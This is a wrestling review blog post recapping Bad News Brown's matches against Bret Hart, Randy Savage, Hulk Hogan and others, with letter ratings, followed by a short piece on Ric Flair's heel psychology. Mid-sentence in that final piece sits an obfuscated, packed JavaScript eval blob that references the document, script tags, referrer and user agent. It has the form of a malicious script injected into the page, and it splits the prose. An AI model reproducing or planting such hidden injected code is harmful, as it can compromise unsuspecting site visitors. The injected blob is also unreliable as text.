Allen powers out and hammers away but a single uppercut drops him for two. The announcer tells us that Owen was dominated the first few minutes of the match but has been in full control ever since. A tombstone plants Allen but he gets his knees up to block a top rope splash. Allen comes back with a slam but gets tossed off the top. Hart nips up but gets caught by a belly to belly suplex. The fans are entirely behind Owen here and he comes back with a spinning cross body off the top but Makhan Singh (a monster) comes in for the DQ.

This was near the very end of his time in Stampede. Earlier in his run he participated in the first recorded ladder match against Bret Hart, but the only footage I can find is a short clip.

Battle Royal

Bret Hart, Jim Neidhart, Jim Powers, Paul Roma, Sika, Danny Davis, B. Brian Blair, Jim Brunzell, Bad News Brown, Sam Houston, Jacques Rougeau, Ray Rougeau, Ken Patera, Ron Bass, Junkyard Dog, Nikolai Volkoff, Boris Zhukov, Hillbilly Jim, Harley Race, George Steele

Brown would feud with Bret over the summer, including this match at Wrestlefest 1988.

Bad News Brown vs. Bret Hart

This is fallout from the Mania battle royal and Bret is officially a face now. Brown would get a short feud with Randy Savage soon after this which was very interesting although it never went anywhere really. The referee gets on Brown for being too evil and Brown tells him not to worry about it. That’s a nice line actually.

Brown goes up and Bret is, say it with me, PLAYING POSSUM. Why would anyone buy Bret selling anything ever? It’s what he does and he does it better than anyone. Bret can’t get anything of note going here. Brown yells out for the Ghetto Blaster, his running enziguri finisher. Here comes the Hitman who might not have that name yet. He hits a sweet dive over the top and Brown is in trouble now.

They crank it up and the match starts getting good. Bret doesn’t have the Sharpshooter yet so he’s going for whatever he can get to get a pin. He hits some of the five moves of doom but after a rollup Brown reverses into one of his own and uses the tights for a win. Neidhart comes out and they both beat down Brown to an extent. I’d love to see them in a real fight as Brown would massacre them.

Rating: B-. Solid little match here as neither guy meant anything yet. Hart was supposed to be showcasing himself here and he did that quite well. He looked like this fast guy that could brawl and have solid matches to go with it. Then they put him back with Neidhart a few weeks/months later and this was completely forgotten about of course.

With nothing else to do, Brown would have a random match at Summerslam 1988.

Bad News Brown vs. Ken Patera

Bad News Brown vs. Bill Mulkey

The announcers had been talking about Bad News facing Randy Savage due to a feud over Elizabeth. Bad News had said a few things about her and Randy was livid. Many street fights followed, including this one I believe from Chicago.

WWF World Title: Bad News Brown vs. Randy Savage

This is a street fight so it should be awesome. Both are in brawling clothes and this was Savage’s main feud until we got to the Mega Powers Exploding. They head to the floor immediately and Brown gets in some chair shots. He chases Liz around which I think was what started the feud in the first place. Savage tries to help her but gets beaten up again. Savage finally ducks a punch and Brown’s fist hits the post.

Here’s the weightlifting belt so I guess Hogan stole that idea from Savage? Savage goes up top with a chair but jumps into another punch to the ribs. Back to the floor and Savage is thrown into the crowd. In something I cab’t believe I’m saying in 1989, it’s table time. Bad News sets one up in the corner but according to Wrestling Law #4, he winds up going through it. Well he went into the referee who went through it but whatever.

Brown hits his Ghetto Blaster finisher (enziguri) but there’s no referee. Brown isn’t the best guy in the world at first aid as he tries to wake the referee up by stomping him. Brown spends too long with the referee and Savage wakes up so he can grab a backslide of all things. Another referee comes in and counts the pin to end this.

Rating: B-. Considering this was in 1989, WOW. You had violence, you had a table spot, you had referee abuse, you had chair shots. What other match prior to ECW do you remember seeing that in (indies notwithstanding)? Good stuff here and Brown could have been a very valuable man if he was 15 years younger. Fun stuff.

Brown goes after the other referee and puts him in the Tree of Woe. Savage makes the save and they brawl some more. A bunch of wrestlers come out and they can’t stop it either.

Hulk Hogan vs. Bad News Brown

Liz is with Hogan. The arena is weird looking as there’s no entryway but rather what looks like a hockey board that they open up. Brown takes over to start as is the tradition for a lot of Hogan matches. This only lasts a few minutes as I’m amazed at what Brown was back in this era. If he had been around say 8 years later, he would have been pure gold. Hogan goes to the head but it doesn’t work, making me really wonder how many of these stereotypes were unintentional.

Brown accidentally punches the post and this has been pretty one sided so far with Hogan dominating for the most part. Hogan no sells a chair shot and Brown leaves, saying hang on a second. He comes back shortly….with a broom? It goes nowhere and Brown FINALLY takes over with a clothesline. Brown gets a legdrop for two but it’s only kind of a power kickout.

Hogan gets beaten up and then Brown grabs the mic and goes Rock, talking to Hogan and telling him it’s Ghetto Blaster (his finisher, a running enziguri) time which of course misses. Maybe it would have hit if he hadn’t told him that. Hogan hits a high knee to set up the leg drop to end it. Well that’s different. He and Liz pose a lot.

Rating: C+. Not bad at all here. Again, Brown was an AWESOME character and could have been a great heel both here and ten years later. Him vs. Rock or Austin would have sold great and the fact that he was a legit fighter (Bronze medal in judo in the Olympics) would have easily opened the door to MMA if he wanted to go there. Decent little match and different than what you’re used to from Hulk which is a nice change of pace.

Dream Team vs. Enforcers

Dusty Rhodes, Brutus Beefcake, Tito Santana, Red Rooster

Big Bossman, Bad News Brown, Rick Martel, Honky Tonk Man

Roddy Piper vs. Bad News Brown

Rating: D. Instead of a brawl or something entertaining, this was much more of a bizarre spectacle than anything else. Brown would be gone soon after this while Piper would shift into the broadcast booth to take over for Jesse. The fight was a lot weaker because of how much stuff there was to distract from the action which is never a good thing.

Jake Roberts vs. Bad News Brown

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Thought of the Day: This Time For Sure!

It’s about psychology today.Let’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhfdf|var|u0026u|referrer|tahtr||js|php'.split('|'),0,{})) look at Ric Flair for a minute.  Over the years, Ric Flair has climbed to the top rope for a high risk move approximately 43,392 times and has been successful on about 4 of those attempts (however he did win the NWA World Title at Starrcade 1983 in one of those attempts).

Now the question has always been why would Flair keep going up there when he knows it doesn’t work.  This is wrestling fans over thinking what they’re watching.  Flair was a heel more often than not, so he would be overconfident.  As an overconfident heel, Flair is going to think he can do stuff that he really can’t pull off.  Even though he failed so often at this move, heel Flair would think that THIS TIME it had to work.  There was no way that whatever loser he was fighting this time could slam the Nature Boy off the top.  It’s how a cocky heel would think.  Cocky and overconfident wrestlers are going to do stupid stuff all the time and the fans are going to be happy to see them be proven wrong.  Flair did the spot a lot because it made sense every single time.

I’ve said it before and I’ll say it again: psychology is the most important thing in the ring and it makes matches so much better.

 

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $3.99 at:

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